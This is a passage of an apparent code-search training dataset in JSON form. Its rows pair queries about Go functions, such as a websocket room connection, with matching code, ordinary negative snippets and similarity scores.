method\\\")\\n\\t}\\n\\n\\tmmSetIndex.mock.funcSetIndex = f\\n\\treturn mmSetIndex.mock\\n}\",\n \"func (feature Feature) SetGeometryFieldDirectly(index int, geom Geometry) error {\\n\\treturn C.OGR_F_SetGeomFieldDirectly(feature.cval, C.int(index), geom.cval).Err()\\n}\",\n \"func (m *ServicePlanInfo) SetServicePlanId(value *string)() {\\n m.servicePlanId = value\\n}\",\n \"func (m *VirtualEndpoint) SetFrontLineServicePlans(value []CloudPcFrontLineServicePlanable)() {\\n err := m.GetBackingStore().Set(\\\"frontLineServicePlans\\\", value)\\n if err != nil {\\n panic(err)\\n }\\n}\",\n \"func (pw *PixelWand) SetIndex(index *IndexPacket) {\\n\\tC.PixelSetIndex(pw.pw, C.IndexPacket(*index))\\n\\truntime.KeepAlive(pw)\\n}\",\n \"func (p *tsdbBasedPlanner) Plan(_ context.Context, metasByMinTime []*metadata.Meta, _ chan error, _ any) ([]*metadata.Meta, error) {\\n\\treturn p.plan(p.noCompBlocksFunc(), metasByMinTime)\\n}\",\n \"func EnableSharedCache(b bool) error {\\n\\trv := C.sqlite3_enable_shared_cache(btocint(b))\\n\\tif rv == C.SQLITE_OK {\\n\\t\\treturn nil\\n\\t}\\n\\treturn Errno(rv)\\n}\",\n \"func (_Ethdkg *EthdkgTransactor) SubmitKeyShare(opts *bind.TransactOpts, issuer common.Address, key_share_G1 [2]*big.Int, key_share_G1_correctness_proof [2]*big.Int, key_share_G2 [4]*big.Int) (*types.Transaction, error) {\\n\\treturn _Ethdkg.contract.Transact(opts, \\\"submit_key_share\\\", issuer, key_share_G1, key_share_G1_correctness_proof, key_share_G2)\\n}\",\n \"func (s *shareDB) WriteShareRecords(\\n\\tctx context.Context,\\n\\tcfgDgst ocrtypes.ConfigDigest,\\n\\tkeyID [32]byte,\\n\\tshareRecords []ocr2vrftypes.PersistentShareSetRecord,\\n) error {\\n\\tlggr := s.lggr.With(\\n\\t\\t\\\"configDigest\\\", hexutil.Encode(cfgDgst[:]),\\n\\t\\t\\\"keyID\\\", hexutil.Encode(keyID[:]))\\n\\n\\tstart := time.Now()\\n\\tdefer func() {\\n\\t\\tduration := time.Since(start)\\n\\t\\tpromWriteShareRecords.WithLabelValues(s.chainType, s.chainID.String()).Observe(float64(duration))\\n\\t\\t// lggr.Debugw(\\\"Inserted DKG shares into DB\\\", \\\"duration\\\", duration) // see ocr2vrf code for logs\\n\\t}()\\n\\n\\tvar named []dkgShare\\n\\tfor _, record := range shareRecords {\\n\\t\\tif bytes.Equal(record.Hash[:], zeroHash[:]) {\\n\\t\\t\\t// see ocr2vrf for logging\\n\\t\\t\\t// lggr.Warnw(\\\"skipping record with zero hash\\\",\\n\\t\\t\\t// \\t\\\"player\\\", record.Dealer.String(),\\n\\t\\t\\t// \\t\\\"hash\\\", hexutil.Encode(record.Hash[:]),\\n\\t\\t\\t// )\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// XXX: this might be expensive, but is a good sanity check.\\n\\t\\tlocalHash := hash.GetHash(record.MarshaledShareRecord)\\n\\t\\tif !bytes.Equal(record.Hash[:], localHash[:]) {\\n\\t\\t\\treturn fmt.Errorf(\\\"local hash doesn't match given hash in record, expected: %x, got: %x\\\",\\n\\t\\t\\t\\tlocalHash[:], record.Hash[:])\\n\\t\\t}\\n\\n\\t\\tvar h hash.Hash\\n\\t\\tif copied := copy(h[:], record.Hash[:]); copied != 32 {\\n\\t\\t\\treturn fmt.Errorf(\\\"wrong number of bytes copied in hash (dealer:%s) %x: %d\\\",\\n\\t\\t\\t\\trecord.Dealer.String(), record.Hash[:], copied)\\n\\t\\t}\\n\\n\\t\\tnamed = append(named, dkgShare{\\n\\t\\t\\tConfigDigest: cfgDgst[:],\\n\\t\\t\\tKeyID: keyID[:],\\n\\t\\t\\tDealer: record.Dealer.Marshal(),\\n\\t\\t\\tMarshaledShareRecord: record.MarshaledShareRecord,\\n\\t\\t\\t/* TODO/WTF: can't do \\\"record.Hash[:]\\\": this leads to store the last record's hash for all the records! */\\n\\t\\t\\tRecordHash: h[:],\\n\\t\\t})\\n\\t}\\n\\n\\tif len(named) == 0 {\\n\\t\\tlggr.Infow(\\\"No valid share records to insert\\\")\\n\\t\\treturn nil\\n\\t}\\n\\n\\t// see ocr2vrf for logging\\n\\t// lggr.Infow(\\\"Inserting DKG shares into DB\\\",\\n\\t// \\t\\\"shareHashes\\\", shareHashes(shareRecords),\\n\\t// \\t\\\"numRecords\\\", len(shareRecords),\\n\\t// \\t\\\"numNamed\\\", len(named))\\n\\n\\t// Always upsert because we want the number of rows in the table to match\\n\\t// the number of members of the committee.\\n\\tquery := `\\nINSERT INTO dkg_shares (config_digest, key_id, dealer, marshaled_share_record, record_hash)\\nVALUES (:config_digest, :key_id, :dealer, :marshaled_share_record, :record_hash)\\nON CONFLICT ON CONSTRAINT dkg_shares_pkey\\nDO UPDATE SET marshaled_share_record = EXCLUDED.marshaled_share_record, record_hash = EXCLUDED.record_hash\\n`\\n\\treturn s.q.ExecQNamed(query, named[:])\\n}\",\n \"func (item *queueItem) setIndexState(state indexState) {\\n\\tif state == item.indexState {\\n\\t\\treturn\\n\\t}\\n\\tif item.indexState != \\\"\\\" {\\n\\t\\tmetricIndexState.WithLabelValues(string(item.indexState)).Dec()\\n\\t}\\n\\titem.indexState = state\\n\\tif item.indexState != \\\"\\\" {\\n\\t\\tmetricIndexState.WithLabelValues(string(item.indexState)).Inc()\\n\\t}\\n}\",\n \"func (s *storageMgr) updateIndexSnapMap(indexPartnMap IndexPartnMap,\\n\\tstreamId common.StreamId, keyspaceId string) {\\n\\n\\ts.muSnap.Lock()\\n\\tdefer s.muSnap.Unlock()\\n\\n\\tfor idxInstId, partnMap := range indexPartnMap {\\n\\t\\tidxInst := s.indexInstMap.Get()[idxInstId]\\n\\t\\ts.updateIndexSnapMapForIndex(idxInstId, idxInst, partnMap, streamId, keyspaceId)\\n\\t}\\n}\",\n \"func (p *Planner) Plan(replicasToDistribute int64, availableClusters []string) map[string]int64 {\\n\\tpreferences := make([]*namedClusterReplicaSetPreferences, 0, len(availableClusters))\\n\\tplan := make(map[string]int64, len(preferences))\\n\\n\\tnamed := func(name string, pref fed_api.ClusterReplicaSetPreferences) *namedClusterReplicaSetPreferences {\\n\\t\\treturn &namedClusterReplicaSetPreferences{\\n\\t\\t\\tclusterName: name,\\n\\t\\t\\tClusterReplicaSetPreferences: pref,\\n\\t\\t}\\n\\t}\\n\\n\\tfor _, cluster := range availableClusters {\\n\\t\\tif localRSP, found := p.preferences.Clusters[cluster]; found {\\n\\t\\t\\tpreferences = append(preferences, named(cluster, localRSP))\\n\\t\\t} else {\\n\\t\\t\\tif localRSP, found := p.preferences.Clusters[\\\"*\\\"]; found {\\n\\t\\t\\t\\tpreferences = append(preferences, named(cluster, localRSP))\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tplan[cluster] = int64(0)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\tsort.Sort(byWeight(preferences))\\n\\n\\tremainingReplicas := replicasToDistribute\\n\\n\\t// Assign each cluster the minimum number of replicas it requested.\\n\\tfor _, preference := range preferences {\\n\\t\\tmin := minInt64(preference.MinReplicas, remainingReplicas)\\n\\t\\tremainingReplicas -= min\\n\\t\\tplan[preference.clusterName] = min\\n\\t}\\n\\n\\tmodified := true\\n\\n\\t// It is possible single pass of the loop is not enough to distribue all replicas among clusters due\\n\\t// to weight, max and rounding corner cases. In such case we iterate until either\\n\\t// there is no replicas or no cluster gets any more replicas or the number\\n\\t// of attempts is less than available cluster count. Every loop either distributes all remainingReplicas\\n\\t// or maxes out at least one cluster.\\n\\t// TODO: This algorithm is O(clusterCount^2). When needed use sweep-like algorithm for O(n log n).\\n\\tfor trial := 0; trial < len(availableClusters) && modified && remainingReplicas > 0; trial++ {\\n\\t\\tmodified = false\\n\\t\\tweightSum := int64(0)\\n\\t\\tfor _, preference := range preferences {\\n\\t\\t\\tweightSum += preference.Weight\\n\\t\\t}\\n\\t\\tnewPreferences := make([]*namedClusterReplicaSetPreferences, 0, len(preferences))\\n\\n\\t\\tdistributeInThisLoop := remainingReplicas\\n\\t\\tfor _, preference := range preferences {\\n\\t\\t\\tif weightSum > 0 {\\n\\t\\t\\t\\tstart := plan[preference.clusterName]\\n\\t\\t\\t\\t// Distribute the remaining replicas, rounding fractions always up.\\n\\t\\t\\t\\textra := (distributeInThisLoop*preference.Weight + weightSum - 1) / weightSum\\n\\t\\t\\t\\textra = minInt64(extra, remainingReplicas)\\n\\t\\t\\t\\t// In total there should be the amount that was there at start plus whatever is due\\n\\t\\t\\t\\t// in this iteration\\n\\t\\t\\t\\ttotal := start + extra\\n\\n\\t\\t\\t\\t// Check if we don't overflow the cluster, and if yes don't consider this cluster\\n\\t\\t\\t\\t// in any of the following iterations.\\n\\t\\t\\t\\tif preference.MaxReplicas != nil && total > *preference.MaxReplicas {\\n\\t\\t\\t\\t\\ttotal = *preference.MaxReplicas\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tnewPreferences = append(newPreferences, preference)\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t// Only total-start replicas were actually taken.\\n\\t\\t\\t\\tremainingReplicas -= (total - start)\\n\\t\\t\\t\\tplan[preference.clusterName] = total\\n\\n\\t\\t\\t\\t// Something extra got scheduled on this cluster.\\n\\t\\t\\t\\tif total > start {\\n\\t\\t\\t\\t\\tmodified = true\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tpreferences = newPreferences\\n\\t}\\n\\n\\treturn plan\\n}\",\n \"func (p *PhysicalIndexLookUpReader) Clone() (PhysicalPlan, error) {\\n\\tcloned := new(PhysicalIndexLookUpReader)\\n\\tbase, err := p.physicalSchemaProducer.cloneWithSelf(cloned)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tcloned.physicalSchemaProducer = *base\\n\\tif cloned.IndexPlans, err = clonePhysicalPlan(p.IndexPlans); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tif cloned.TablePlans, err = clonePhysicalPlan(p.TablePlans); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tif cloned.indexPlan, err = p.indexPlan.Clone(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tif cloned.tablePlan, err = p.tablePlan.Clone(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tif p.ExtraHandleCol != nil {\\n\\t\\tcloned.ExtraHandleCol = p.ExtraHandleCol.Clone().(*expression.Column)\\n\\t}\\n\\tif p.PushedLimit != nil {\\n\\t\\tcloned.PushedLimit = p.PushedLimit.Clone()\\n\\t}\\n\\treturn cloned, nil\\n}\",\n \"func (o ServiceBusQueueOutputDataSourceOutput) SharedAccessPolicyKey() pulumi.StringPtrOutput {\\n\\treturn o.ApplyT(func(v ServiceBusQueueOutputDataSource) *string { return v.SharedAccessPolicyKey }).(pulumi.StringPtrOutput)\\n}\",\n \"func ShareLists(hrcSrvShare unsafe.Pointer, hrcSrvSource unsafe.Pointer) unsafe.Pointer {\\n\\tret, _, _ := syscall.Syscall(gpShareLists, 2, uintptr(hrcSrvShare), uintptr(hrcSrvSource), 0)\\n\\treturn (unsafe.Pointer)(ret)\\n}\",\n \"func (ouq *OrgUnitQuery) ForShare(opts ...sql.LockOption) *OrgUnitQuery {\\n\\tif ouq.driver.Dialect() == dialect.Postgres {\\n\\t\\touq.Unique(false)\\n\\t}\\n\\touq.modifiers = append(ouq.modifiers, func(s *sql.Selector) {\\n\\t\\ts.ForShare(opts...)\\n\\t})\\n\\treturn ouq\\n}\",\n \"func (r *ReconciliationTask) areSMPlansSame(plans []*types.ServicePlan) bool {\\n\\tcachedPlans, isPresent := r.cache.Get(smPlansCacheKey)\\n\\tif !isPresent {\\n\\t\\treturn false\\n\\t}\\n\\tcachedPlansMap, ok := cachedPlans.(map[string]*types.ServicePlan)\\n\\tif !ok {\\n\\t\\tlog.C(r.runContext).Error(\\\"SM plans cache is in invalid state! Clearing...\\\")\\n\\t\\tr.cache.Delete(smPlansCacheKey)\\n\\t\\treturn false\\n\\t}\\n\\tif len(cachedPlansMap) != len(plans) {\\n\\t\\treturn false\\n\\t}\\n\\tfor _, plan := range plans {\\n\\t\\tif cachedPlansMap[plan.ID] == nil {\\n\\t\\t\\treturn false\\n\\t\\t}\\n\\t}\\n\\treturn true\\n}\",\n \"func (_Ethdkg *EthdkgTransactorSession) SubmitKeyShare(issuer common.Address, key_share_G1 [2]*big.Int, key_share_G1_correctness_proof [2]*big.Int, key_share_G2 [4]*big.Int) (*types.Transaction, error) {\\n\\treturn _Ethdkg.Contract.SubmitKeyShare(&_Ethdkg.TransactOpts, issuer, key_share_G1, key_share_G1_correctness_proof, key_share_G2)\\n}\",\n \"func (m *VirtualEndpoint) GetSharedUseServicePlans()([]CloudPcSharedUseServicePlanable) {\\n val, err := m.GetBackingStore().Get(\\\"sharedUseServicePlans\\\")\\n if err != nil {\\n panic(err)\\n }\\n if val != nil {\\n return val.([]CloudPcSharedUseServicePlanable)\\n }\\n return nil\\n}\",\n \"func (e *Engine) setIndex(index int64) {\\n\\te.Index = index\\n\\te.Name = naming.Name(index)\\n}\",\n \"func (m *GroupPolicyDefinition) SetExplainText(value *string)() {\\n err := m.GetBackingStore().Set(\\\"explainText\\\", value)\\n if err != nil {\\n panic(err)\\n }\\n}\",\n \"func (_Mcapscontroller *McapscontrollerSession) PrepareIndexPool(categoryID *big.Int, indexSize *big.Int, initialWethValue *big.Int, name string, symbol string) (*types.Transaction, error) {\\n\\treturn _Mcapscontroller.Contract.PrepareIndexPool(&_Mcapscontroller.TransactOpts, categoryID, indexSize, initialWethValue, name, symbol)\\n}\",\n \"func (p Pin) Set(high bool) {\\n\\tport := p.getPort()\\n\\tpin := uint8(p) % 16\\n\\tif high {\\n\\t\\tport.BSRR.Set(1 << pin)\\n\\t} else {\\n\\t\\tport.BSRR.Set(1 << (pin + 16))\\n\\t}\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.5508997","0.4687285","0.46098685","0.457603","0.45092627","0.4443509","0.44185206","0.43938205","0.4389649","0.43742532","0.436676","0.43441278","0.4297439","0.4283038","0.4213906","0.42068422","0.41900006","0.4182438","0.4169572","0.4110821","0.41070658","0.40857786","0.4049184","0.40187603","0.4017184","0.40026733","0.39939034","0.39894715","0.39891073","0.39777386","0.39688313","0.39686337","0.39642996","0.39626378","0.39540356","0.39451477","0.39312115","0.39250594","0.3919632","0.39150533","0.39090136","0.38873348","0.38702562","0.3855748","0.3854705","0.38500935","0.38169894","0.3816005","0.38058573","0.38049155","0.38007838","0.37986043","0.37907737","0.37862927","0.37852824","0.3782458","0.37797725","0.3774901","0.3766048","0.37631744","0.3760078","0.37510684","0.37429246","0.37418622","0.3737859","0.3736371","0.37351704","0.37318066","0.373157","0.3730834","0.37247846","0.3717952","0.37138483","0.37137526","0.37063548","0.37062302","0.37035805","0.37002057","0.36828652","0.36819252","0.36796257","0.36761224","0.36706308","0.36697635","0.366855","0.3653473","0.3648079","0.36468428","0.36460182","0.36429217","0.3640725","0.3640551","0.36391518","0.36379","0.36265096","0.3626205","0.3618211","0.36154944","0.3614456","0.36133763"],"string":"[\n \"0.5508997\",\n \"0.4687285\",\n \"0.46098685\",\n \"0.457603\",\n \"0.45092627\",\n \"0.4443509\",\n \"0.44185206\",\n \"0.43938205\",\n \"0.4389649\",\n \"0.43742532\",\n \"0.436676\",\n \"0.43441278\",\n \"0.4297439\",\n \"0.4283038\",\n \"0.4213906\",\n \"0.42068422\",\n \"0.41900006\",\n \"0.4182438\",\n \"0.4169572\",\n \"0.4110821\",\n \"0.41070658\",\n \"0.40857786\",\n \"0.4049184\",\n \"0.40187603\",\n \"0.4017184\",\n \"0.40026733\",\n \"0.39939034\",\n \"0.39894715\",\n \"0.39891073\",\n \"0.39777386\",\n \"0.39688313\",\n \"0.39686337\",\n \"0.39642996\",\n \"0.39626378\",\n \"0.39540356\",\n \"0.39451477\",\n \"0.39312115\",\n \"0.39250594\",\n \"0.3919632\",\n \"0.39150533\",\n \"0.39090136\",\n \"0.38873348\",\n \"0.38702562\",\n \"0.3855748\",\n \"0.3854705\",\n \"0.38500935\",\n \"0.38169894\",\n \"0.3816005\",\n \"0.38058573\",\n \"0.38049155\",\n \"0.38007838\",\n \"0.37986043\",\n \"0.37907737\",\n \"0.37862927\",\n \"0.37852824\",\n \"0.3782458\",\n \"0.37797725\",\n \"0.3774901\",\n \"0.3766048\",\n \"0.37631744\",\n \"0.3760078\",\n \"0.37510684\",\n \"0.37429246\",\n \"0.37418622\",\n \"0.3737859\",\n \"0.3736371\",\n \"0.37351704\",\n \"0.37318066\",\n \"0.373157\",\n \"0.3730834\",\n \"0.37247846\",\n \"0.3717952\",\n \"0.37138483\",\n \"0.37137526\",\n \"0.37063548\",\n \"0.37062302\",\n \"0.37035805\",\n \"0.37002057\",\n \"0.36828652\",\n \"0.36819252\",\n \"0.36796257\",\n \"0.36761224\",\n \"0.36706308\",\n \"0.36697635\",\n \"0.366855\",\n \"0.3653473\",\n \"0.3648079\",\n \"0.36468428\",\n \"0.36460182\",\n \"0.36429217\",\n \"0.3640725\",\n \"0.3640551\",\n \"0.36391518\",\n \"0.36379\",\n \"0.36265096\",\n \"0.3626205\",\n \"0.3618211\",\n \"0.36154944\",\n \"0.3614456\",\n \"0.36133763\"\n]"},"document_score":{"kind":"string","value":"0.7447591"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106144,"cells":{"query":{"kind":"string","value":"Connect is a blocking function that reads the message from broadcast with roomID and then push it to the out channel"},"document":{"kind":"string","value":"func Connect(ctx context.Context, roomID int64, out chan *Message) {\n\terr := connect(ctx, roomID, out)\n\tif err != nil {\n\t\tfmt.Printf(\"danmu/websocket: [%d] %v\\n\", roomID, err)\n\t}\n\tselect {\n\tcase <-ctx.Done():\n\t\treturn\n\tdefault:\n\t\ttime.AfterFunc(reconnectDelay+time.Duration(rand.Int31n(100)), func() {\n\t\t\tfmt.Printf(\"danmu/websocket: [%d] reconnect...\\n\", roomID)\n\t\t\tConnect(ctx, roomID, out)\n\t\t})\n\t}\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func ConnectToRoom(token string, info chan<- ServerMessage) {\n\tstatus := \"\"\n\n\tconn, err := net.Dial(connType, host+\":\"+port)\n\tif err != nil {\n\t\tinfo <- ServerMessage{nil, false, \"\", \"error when connecting\"}\n\t\treturn\n\t}\n\tfmt.Fprintf(conn, \"connect\\n\")\n\tfmt.Fprintf(conn, \"%s\\n\", token)\n\tvar msg string\n\tfmt.Fscan(conn, &msg)\n\tvar isSecond bool\n\tif msg == \"second\" {\n\t\tisSecond = true\n\t} else if msg == \"first\" {\n\t\tisSecond = false\n\t} else if msg == \"wrong_token\" {\n\t\tstatus = msg\n\t}\n\tinfo <- ServerMessage{conn, isSecond, \"\", status}\n}","func (mon *SocketMonitor) Connect() error {\n\tenc := json.NewEncoder(mon.c)\n\tdec := json.NewDecoder(mon.c)\n\n\t// Check for banner on startup\n\tvar ban banner\n\tif err := dec.Decode(&ban); err != nil {\n\t\treturn err\n\t}\n\tmon.Version = &ban.QMP.Version\n\tmon.Capabilities = ban.QMP.Capabilities\n\n\t// Issue capabilities handshake\n\tcmd := Command{Execute: qmpCapabilities}\n\tif err := enc.Encode(cmd); err != nil {\n\t\treturn err\n\t}\n\n\t// Check for no error on return\n\tvar r response\n\tif err := dec.Decode(&r); err != nil {\n\t\treturn err\n\t}\n\tif err := r.Err(); err != nil {\n\t\treturn err\n\t}\n\n\t// Initialize socket listener for command responses and asynchronous\n\t// events\n\tevents := make(chan Event)\n\tstream := make(chan streamResponse)\n\tgo mon.listen(mon.c, events, stream)\n\n\tmon.events = events\n\tmon.stream = stream\n\n\treturn nil\n}","func (bili *BiliClient) Connect(rid int) error {\n\troomID, err := getRealRoomID(rid)\n\tif err != nil {\n\t\tlog.Println(\"client Connect \" + err.Error())\n\t\treturn errors.New(\"无法获取房间真实ID: \" + err.Error())\n\t}\n\n\tu := url.URL{Scheme: \"ws\", Host: serverAddr, Path: \"/sub\"}\n\n\tif bili.serverConn, _, err = websocket.DefaultDialer.Dial(u.String(), nil); err != nil {\n\t\tlog.Println(\"client Connect \" + err.Error())\n\t\treturn errors.New(\"Cannot dail websocket: \" + err.Error())\n\t}\n\tbili.roomID = roomID\n\n\tif err := bili.sendJoinChannel(roomID); err != nil {\n\t\treturn errors.New(\"Cannot send join channel: \" + err.Error())\n\t}\n\tbili.setConnect(true)\n\n\tgo bili.heartbeatLoop()\n\tgo bili.receiveMessages()\n\treturn nil\n}","func (ch *InternalChannel) Connect(c *Client) {}","func (ch *ServerChannel) Connect(c *Client) {}","func OnConnect(c websocket.Connection) {\n\t//Join 线程隔离\n\tfmt.Println(c.Context().String())\n\n\tfmt.Println(c.Context().GetHeader(\"Connection\"))\n\tfmt.Println(c.Context().GetHeader(\"Sec-Websocket-Key\"))\n\tfmt.Println(c.Context().GetHeader(\"Sec-Websocket-Version\"))\n\tfmt.Println(c.Context().GetHeader(\"Upgrade\"))\n\n\t//Join将此连接注册到房间,如果它不存在则会创建一个新房间。一个房间可以有一个或多个连接。一个连接可以连接到许多房间。所有连接都自动连接到由“ID”指定的房间。\n\tc.Join(\"room1\")\n\t// Leave从房间中删除此连接条目//如果连接实际上已离开特定房间,则返回true。\n\tdefer c.Leave(\"room1\")\n\n\t//获取路径中的query数据\n\tfmt.Println(\"namespace:\",c.Context().FormValue(\"namespace\"))\n\tfmt.Println(\"nam:\",c.Context().FormValue(\"name\"))\n\n\t//收到消息的事件。bytes=收到客户端发送的消息\n\tc.OnMessage(func(bytes []byte) {\n\t\tfmt.Println(\"client:\",string(bytes))\n\n\t\t//循环向连接的客户端发送数据\n\t\tvar i int\n\t\tfor {\n\t\t\ti++\n\t\t\tc.EmitMessage([]byte(fmt.Sprintf(\"=============%d==========\",i))) // ok works too\n\t\t\ttime.Sleep(time.Second)\n\t\t}\n\t})\n}","func connect() net.Conn {\n\t//connection, err := net.Dial(\"unix\", \"/var/www/bot/irc/sock\")\n\tconnection, err := net.Dial(\"tcp\", \"localhost:8765\")\n\n\t//\tsendCommand(connection, \"PASS\", password)\n\t//\tsendCommand(connection, \"USER\", fmt.Sprintf(\"%s 8 * :%s\\r\\n\", nickname, nickname))\n\t//\tsendCommand(connection, \"NICK\", nickname)\n\t//\tfmt.Println(\"Registration sent\")\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tjoinChannels(connection)\n\n\treturn connection\n}","func (c *CommunicationClient) Connect() error{\r\n\r\n if c.conn != nil{\r\n if c.conn.IsClosed() {\r\n conn, err := amqp.Dial(c.host)\r\n\r\n if err != nil {\r\n return err\r\n }\r\n\r\n ch, err := conn.Channel()\r\n\r\n if err != nil {\r\n return err\r\n }\r\n\r\n c.conn = conn\r\n c.ch = ch\r\n\r\n return nil\r\n }else{\r\n\r\n ch, err := c.conn.Channel()\r\n\r\n if err != nil {\r\n return err\r\n }\r\n\r\n c.ch = ch\r\n\r\n return nil\r\n }\r\n }else{\r\n conn, err := amqp.Dial(c.host)\r\n\r\n if err != nil {\r\n return err\r\n }\r\n\r\n ch, err := conn.Channel()\r\n\r\n if err != nil {\r\n return err\r\n }\r\n\r\n c.conn = conn\r\n c.ch = ch\r\n\r\n return nil\r\n }\r\n\r\n\r\n}","func Connect(peer *Peer) {\n conn, or := net.Dial(\"tcp\", peer.Addr)\n m := maddr // TODO: Set a proper message here\n\n if !e.Rr(or, false) {\n handshake(conn, peer.PublicKey, m)\n fmt.Println(\"Successfully connected to peer: \" + conn.RemoteAddr().String())\n // This is how we distinguish between if they have contacted us or not\n // Once we have connected to them, we can send them messages (they might ignore us though)\n if peer.Status == \"authrec\" {\n peer.Status = \"authenticated\"\n } else {\n peer.Status = \"authsent\"\n }\n peer.Conn = conn\n }\n}","func (this *Client) handleConnect(addr string) {\n\tclient_addr, err := net.ResolveUDPAddr(\"udp\", addr)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\tserver_addr, _ := net.ResolveUDPAddr(\"udp\", config.Cfg.Client.UdpAddress)\n\tconn, err := net.ListenUDP(\"udp\", nil)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\tdefer conn.Close()\n\t// tell B client your remote address by send your id to server\n\tn, err := conn.WriteTo([]byte(this.id), server_addr)\n\tif err != nil {\n\t\tlog.Println(n, err)\n\t\treturn\n\t}\n\tss := strings.Fields(config.Cfg.Client.Command)\n\tcmd := exec.Command(ss[0], ss[1:]...)\n\tstdin, _ := cmd.StdinPipe()\n\tstdout, _ := cmd.StdoutPipe()\n\tstderr, _ := cmd.StderrPipe()\n\terr = cmd.Start()\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\twr := NewIoUDP(conn, client_addr)\n\tWaitAny(func(c chan bool) {\n\t\tForwardUDP(wr, stdin, time.Duration(config.Cfg.Client.ReadTimeOut)*time.Second)\n\t\tc <- true\n\t}, func(c chan bool) {\n\t\tForward(stdout, wr)\n\t\tc <- true\n\t}, func(c chan bool) {\n\t\tForward(stderr, wr)\n\t\tc <- true\n\t})\n\tcmd.Process.Kill()\n\tlog.Println(addr, \"disconnect\")\n}","func (tc TwitchChat) Connect() string {\n\ttcURL := \"ws://irc-ws.chat.twitch.tv:80\"\n\tc, _, err := websocket.DefaultDialer.Dial(tcURL, nil)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tauth := make(chan isAuth)\n\tgo tc.run(c)\n\tgo func() {\n\t\ttc.send <- fmt.Sprintf(\"PASS oauth:%s\", tc.OAuth)\n\t\ttc.send <- fmt.Sprintf(\"NICK %s\", tc.Username)\n\t\tfor {\n\t\t\t_, msg, err := c.ReadMessage()\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\traw := string(msg[:])\n\t\t\tircMsg := irc.ParseMessage(raw)\n\t\t\t// fmt.Println(ircMsg.Params)\n\t\t\tswitch ircMsg.Command {\n\t\t\tcase \"001\":\n\t\t\t\tfmt.Println(\"succ\")\n\t\t\t\tpair := isAuth{\n\t\t\t\t\trawMsg: raw,\n\t\t\t\t\tsucc: true,\n\t\t\t\t}\n\t\t\t\tauth <- pair\n\t\t\t\tbreak\n\t\t\tcase \"NOTICE\":\n\t\t\t\trawUnder := strings.ToLower(raw)\n\t\t\t\tisFail := strings.Contains(rawUnder, \"failed\")\n\t\t\t\tif isFail == true {\n\t\t\t\t\tauth <- isAuth{\n\t\t\t\t\t\trawMsg: raw,\n\t\t\t\t\t\tsucc: false,\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\tdefault:\n\t\t\t\t{\n\t\t\t\t\tname := ircMsg.Params[0]\n\t\t\t\t\tif channel, ok := tc.channels[name]; ok {\n\t\t\t\t\t\terr := channel.HandleMsg(ircMsg.Command, ircMsg)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tfmt.Println(err)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}()\n\n\tsucc := <-auth\n\tif succ.succ == true {\n\t\treturn succ.rawMsg\n\t}\n\tpanic(succ.rawMsg)\n}","func (rhost *rhostData) cmdConnect(rec *receiveData) {\n\n\t// Parse cmd connect data\n\tpeer, addr, port, err := rhost.cmdConnectData(rec)\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// Does not process this command if peer already connected\n\tif _, ok := rhost.teo.arp.find(peer); ok {\n\t\tteolog.DebugVv(MODULE, \"peer\", peer, \"already connected, suggests address\",\n\t\t\taddr, \"port\", port)\n\t\treturn\n\t}\n\n\t// Does not create connection if connection with this address an port\n\t// already exists\n\tif _, ok := rhost.teo.arp.find(addr, int(port), 0); ok {\n\t\tteolog.DebugVv(MODULE, \"connection\", addr, int(port), 0, \"already exsists\")\n\t\treturn\n\t}\n\n\tgo func() {\n\t\trhost.teo.wg.Add(1)\n\t\tdefer rhost.teo.wg.Done()\n\t\t// Create new connection\n\t\ttcd := rhost.teo.td.ConnectChannel(addr, int(port), 0)\n\n\t\t// Replay to address received in command data\n\t\trhost.teo.sendToTcd(tcd, CmdNone, []byte{0})\n\n\t\t// Disconnect this connection if it does not added to peers arp table during timeout\n\t\t//go func(tcd *trudp.ChannelData) {\n\t\ttime.Sleep(1500 * time.Millisecond)\n\t\tif !rhost.running {\n\t\t\tteolog.DebugVv(MODULE, \"channel discovery task finished...\")\n\t\t\treturn\n\t\t}\n\t\tif _, ok := rhost.teo.arp.find(tcd); !ok {\n\t\t\tteolog.DebugVv(MODULE, \"connection\", addr, int(port), 0,\n\t\t\t\t\"with peer does not established during timeout\")\n\t\t\ttcd.Close()\n\t\t\treturn\n\t\t}\n\t}()\n}","func (c *Controller) Connect(addr string) error {\n\tpeers, err := c.cHandler.Dial(addr)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, peer := range peers {\n\t\tc.chatroom.AddPeer(peer)\n\t}\n\treturn nil\n}","func (c *SDKActor) Connect(address string) string {\n resultChan := make(chan string, 0)\n c.actions <- func() {\n fmt.Printf(\"Can open connection to %s\", address)\n\n result := c.execute(address)\n\n resultChan <- result\n }\n return <-resultChan\n}","func (conn *Conn) Join(channel string) { conn.Raw(JOIN + \" \" + channel) }","func (c *Conn) joinChennel() 